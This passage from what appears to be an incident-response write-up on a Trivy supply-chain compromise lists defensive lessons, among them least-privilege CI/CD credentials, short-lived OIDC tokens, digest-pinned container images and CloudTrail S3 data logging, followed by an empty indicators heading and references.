• Apply least privilege to CI/CD service credentials. The compromised IAM user in one of our cases had iam:*, s3:*, lambda:*, and 6 other full-service permissions on Resource: *. The attacker enumerated IAM users, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket across production and non-production. A scoped policy, only the specific permissions the pipeline actually needs on the specific resources it touches, would have reduced the blast radius from full cloud enumeration to a single service.
• Separate credentials per environment. One of our clients shared the same AWS key pair across sandbox and integration environments. One compromise exposed both. Production and non-production credentials should never coexist in the same pipeline.
• Use short-lived credentials (OIDC federation) instead of static IAM keys. The compromised static keys had no expiry. An attacker can use them indefinitely until someone notices. OIDC tokens from GitLab or GitHub expire in minutes.
• Pin container images by digest, not tag. image: aquasec/trivy@sha256:... instead of image: aquasec/trivy:latest. Tags can be force-pushed to point to a different image; digests cannot. Combined with Watchtower or similar auto-update tools, a :latest tag becomes an auto-deploy mechanism for supply-chain attacks.
• Disable automatic container updates in production. Watchtower with latest tags auto-deployed the compromised image without human review. Auto-update is convenient in development; in production, it's an uncontrolled deployment pipeline.
• Consider Enabling S3 data event logging in CloudTrail. Without it, you cannot determine if data was read or written at the object level.

Indicators of Compromise

References

• CrowdStrike. "From Scanner to Stealer: Inside the Trivy Action Supply Chain Compromise." March 2026.
• Wiz. "Trivy Compromised: TeamPCP Supply Chain Attack." March 2026.
• Rami McCarthy. "TeamPCP: Supply Chain Campaign Timeline." March 2026.
• Microsoft Defender Security Research Team. "Guidance for Detecting, Investigating, and Defending Against the Trivy Supply Chain Compromise." March 2026.

‍